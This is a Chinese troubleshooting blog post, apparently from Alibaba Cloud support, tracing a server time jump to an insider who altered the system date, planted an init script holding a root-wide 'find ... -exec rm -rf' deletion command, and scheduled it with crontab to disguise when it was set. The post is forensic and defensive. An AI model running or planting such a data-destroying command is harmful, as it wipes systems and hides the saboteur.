记一次审核时间异常引发的惊天...

简介: 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

背景:

 某用户反馈系统时间在某一个时刻跳变到2019年10月1号,导致程序异常,并提供了相关的截图佐证

image

image

1,目前云上现存的Linux系统存在时间“跳变”是在重启的时候记录UTC时间,启动完成后恢复系统对应时区的时间

2,确认当时ntp server本身没有问题,确认了这两点之后,我们继续排查这个问题(其实这一点基本可以忽略,ntp-server出问题的话就不是一个ecs的问题了)

3,修改时间本身基本上就是 date这个命令没跑了, timedatectl,ntpdate,tzselect也可以看看,根据history去过滤

# egrep "time|date|ntp|tz" .bash_history -n -2
567:date -s "2019-10-01"
568-vi initTask.sh
569-chmod 777 initTask.sh
570-ll
571-crontab -l
572-crontab -e
573-crontab -l
574:date -s "2019-05-02 10:56:02"
575:date

看到date命令修改了系统时间,确认了时间是从系统内部修改的,那么为什么要修改这个时间呢?

4,根据history记录的命令,查看inittask.sh这个脚本是做什么的呢?

[root@izbp1****ri25z ~]# find / -name "initTask.sh"
/etc/rc.d/init.d/initTask.sh
[root@izbp198rtvi9jbqddkri25z ~]# cd /etc/rc.d/init.d/
[root@izb****5z init.d]# stat initTask.sh
  File: ‘initTask.sh’
  Size: 32          Blocks: 8          IO Block: 4096   regular file
Device: fd01h/64769d  Inode: 918340      Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2019-05-05 12:47:10.103223269 +0800
Modify: 2019-10-01 00:00:44.400130560 +0800
Change: 2019-10-01 00:00:57.202168204 +0800
 Birth: -
[root@izbp****5z init.d]# cat initTask.sh
#不要执行,后果自负
find / "*.*" -exec rm -rf {} \#这个脚本会从根目录开始强制删文件
#不要执行,后果自负

5,看看这个脚本什么时候执行

[root@izbp1*****25z init.d]# crontab -l
30 20 2 10 * /ect/init.d/initTask.sh

这里可以看出来,想删文件的人,先修改系统时间,来将脚本的修改时间改成10月1号,然后计划任务在10月2号20:30执行,这样即使后面脚本本身没被删除,上去排查看时间也会以为是10月1号被人删的,同时还有一个点,5月2号也是在假期中,两个假期相关联不禁让人浮想联翩

6,看看系统的登陆日志

[root@izbp19*****5z ~]# last
root     pts/0        10*.7      Mon May  6 17:23   still logged in
root     pts/0        11*.30   Sun May  5 18:42 - 18:49  (00:06)
root     pts/4        111*145  Sun May  5 17:53 - 18:42  (00:48)
root     pts/4        111*145  Sun May  5 17:48 - 17:49  (00:01)
root     pts/3        12*.39      Sun May  5 17:42 - 20:25  (02:42)
root     tty1                          Sun May  5 16:20   still logged in
root     pts/3        11*145  Sun May  5 14:42 - 14:45  (00:02)
root     pts/4        111*145  Sun May  5 14:42 - 14:42  (00:00)
root     pts/3        111.*.145  Sun May  5 14:41 - 14:42  (00:01)
root     pts/0        111.*.145  Sun May  5 13:48 - 18:42  (04:54)
root     pts/0        111.*.145  Sun May  5 10:41 - 11:40  (00:59)
root     pts/0        111.*.145  Thu May  2 10:51 - 10:56  (00:04)
root     pts/0        111.*.7    Fri Apr 26 08:58 - 13:46  (04:47)
root     pts/0        211.*.179   Thu Apr 25 20:08 - 20:32  (00:23)
root     pts/0        111.*.98   Wed Mar 27 16:25 - 16:25  (00:00)

root pts/0 111.*.145 Thu May 2 10:51 - 10:56 (00:04)
574:date -s "2019-05-02 10:56:02"
两条记录时间吻合,且该ip多次登陆,判断为需要客户内部解决的问题,结案!

好久没有发帖了,多说两句 [捂脸哭]
1,不要让愤怒冲昏了头脑,有句俗话说得好“本是同根生,相煎何太急...”
2,阿里云的自动快照策略,你值得拥有!
3,阿里云的自动快照策略,你值得拥有!
4,阿里云的自动快照策略,你值得拥有!

目录
相关文章
|
12月前
|
SQL 存储 监控
实用技巧:排查数据异常/数据波动问题,该如何下手?
在我做开发的这些年,让我很头痛的一类问题,不是线上故障,而是数据异常,不知道有没有程序员跟我感同身受。大多数的服务故障都有较为直观的异常日志,再结合产品表象,相对排查起来还有迹可循,但数据异常的原因就太多了,很多时候连报错日志都没有,排查起来简直无从下手。
实用技巧:排查数据异常/数据波动问题,该如何下手?
|
11月前
|
运维 监控 Java
网络之谜:记一次失败排查的故事
【6月更文挑战第6天】文章详述了一次故障排查经历,故障表现为客户端接口调用延迟,服务器报错(Broken pipe和Connection reset by peer),Nginx连接数异常增加。通过pinpoint平台发现三种错误类型。排查过程涉及数据库、中间链路和第三方服务,但未找到根本原因。监控手段不足(如无法生成Java dump)和故障难以复现增加了难度。尽管最终靠重启服务暂时解决,但提出改进监控和提升故障排查技巧的重要性。总结中强调了故障排查的复杂性、所需专业知识及冷静分析的态度。
101 3
|
12月前
|
监控 安全
线程死循环是多线程应用程序开发过程中一个难以忽视的问题,它源于线程在执行过程中因逻辑错误或不可预见的竞争状态而陷入永久运行的状态,严重影响系统的稳定性和资源利用率。那么,如何精准定位并妥善处理线程死循环现象,并在编码阶段就规避潜在风险呢?谈谈你的看法~
避免线程死循环的关键策略包括使用同步机制(如锁和信号量)、减少共享可变状态、设置超时、利用监控工具、定期代码审查和测试、异常处理及设计简洁线程逻辑。通过这些方法,可降低竞态条件、死锁风险,提升程序稳定性和可靠性。
146 0
|
缓存 测试技术 数据库
软件测试面试题:假设在测试过程中某些事务的响应时间过长,但分析应用服务、数据库以及网络都属于正常现象,问题可能出现的原因有哪些?
软件测试面试题:假设在测试过程中某些事务的响应时间过长,但分析应用服务、数据库以及网络都属于正常现象,问题可能出现的原因有哪些?
409 0
|
缓存 前端开发 Java
支付宝二面:使用 try-catch 捕获异常会影响性能吗?大部分人都会答错!
支付宝二面:使用 try-catch 捕获异常会影响性能吗?大部分人都会答错!
182 0
支付宝二面:使用 try-catch 捕获异常会影响性能吗?大部分人都会答错!
|
SQL 运维 监控
一个诡异的MySQL查询超时问题,居然隐藏着存在了两年的BUG
一个诡异的MySQL查询超时问题,居然隐藏着存在了两年的BUG
211 0
|
JSON Java 程序员
写了这么久的业务连异常都不知道怎么处理吗
前言 文本已收录至我的GitHub仓库,欢迎Star:github.com/bin39232820… 种一棵树最好的时间是十年前,其次是现在
245 0
|
Arthas Web App开发 运维
线上 RTT 过长,我用这一招解决了!
线上 RTT 过长,我用这一招解决了!
|
Java 编译器
JVM优化过头了,直接把异常信息优化没了? (上)
JVM优化过头了,直接把异常信息优化没了? (上)
148 0
JVM优化过头了,直接把异常信息优化没了? (上)
|
消息中间件 缓存 Java
JVM优化过头了,直接把异常信息优化没了? (中)
JVM优化过头了,直接把异常信息优化没了? (中)
218 0
JVM优化过头了,直接把异常信息优化没了? (中)

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等